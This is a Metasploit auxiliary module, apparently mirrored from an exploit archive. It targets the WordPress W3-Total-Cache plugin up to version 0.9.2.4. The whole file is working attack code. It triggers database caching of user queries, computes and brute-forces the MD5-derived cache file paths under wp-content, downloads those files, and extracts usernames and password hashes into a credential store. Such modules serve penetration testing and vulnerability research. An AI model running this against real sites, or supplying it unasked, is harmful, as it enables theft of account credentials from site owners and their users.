## https://sploitus.com/exploit?id=PACKETSTORM:180672
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract',
'Description' =>
"The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements
and its results in files for fast access. Version 0.9.2.4 has been fixed afterwards
so it can be vulnerable. These cache files are in the webroot of the Wordpress
installation and can be downloaded if the name is guessed. This module tries to
locate them with brute force in order to find usernames and password hashes in these
files. W3 Total Cache must be configured with Database Cache enabled and Database
Cache Method set to Disk to be vulnerable",
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '88744'],
['URL', 'https://seclists.org/fulldisclosure/2012/Dec/242'],
['WPVDB', '6621']
],
'Author' =>
[
'Christian Mehlmauer', # Metasploit module
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
]
)
register_options(
[
OptString.new('TABLE_PREFIX', [true, 'Wordpress table prefix', 'wp_']),
OptInt.new('SITE_ITERATIONS', [true, 'Number of sites to iterate', 25]),
OptInt.new('USER_ITERATIONS', [true, 'Number of users to iterate', 25])
])
end
def table_prefix
datastore['TABLE_PREFIX']
end
def site_iterations
datastore['SITE_ITERATIONS']
end
def user_iterations
datastore['USER_ITERATIONS']
end
# Call the User site, so the db statement will be cached
def cache_user_info(user_id)
user_url = normalize_uri(target_uri)
begin
send_request_cgi(
'uri' => user_url,
'method' => 'GET',
'vars_get' => {
'author' => user_id.to_s
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("Unable to connect to #{user_url}")
rescue ::Timeout::Error, ::Errno::EPIPE
vprint_error("Unable to connect to #{user_url}")
end
nil
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: 'md5,des'
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip)
users_found = false
(1..site_iterations).each do |site_id|
vprint_status("Trying site_id #{site_id}...")
(1..user_iterations).each do |user_id|
vprint_status("Trying user_id #{user_id}...")
# used to cache the statement
cache_user_info(user_id)
query = "SELECT * FROM #{table_prefix}users WHERE ID = '#{user_id}'"
query_md5 = ::Rex::Text.md5(query)
host = datastore['VHOST'] || ip
key = "w3tc_#{host}_#{site_id}_sql_#{query_md5}"
key_md5 = ::Rex::Text.md5(key)
hash_path = normalize_uri(key_md5[0, 1], key_md5[1, 1], key_md5[2, 1], key_md5)
url = normalize_uri(wordpress_url_wp_content, 'w3tc', 'dbcache', hash_path)
result = nil
begin
result = send_request_cgi('uri' => url, 'method' => 'GET')
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Unable to connect to #{url}")
break
rescue ::Timeout::Error, ::Errno::EPIPE
print_error("Unable to connect to #{url}")
break
end
if result.nil? || result.body.nil?
print_error('No response received')
break
end
match = result.body.scan(/.*"user_login";s:[0-9]+:"([^"]*)";s:[0-9]+:"user_pass";s:[0-9]+:"([^"]*)".*/)[0]
unless match.nil?
print_good("Username: #{match[0]}")
print_good("Password Hash: #{match[1]}")
report_cred(
ip: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
user: match[0],
password: match[1],
proof: result.body
)
users_found = true
end
end
end
print_error('No users found :(') unless users_found
end
end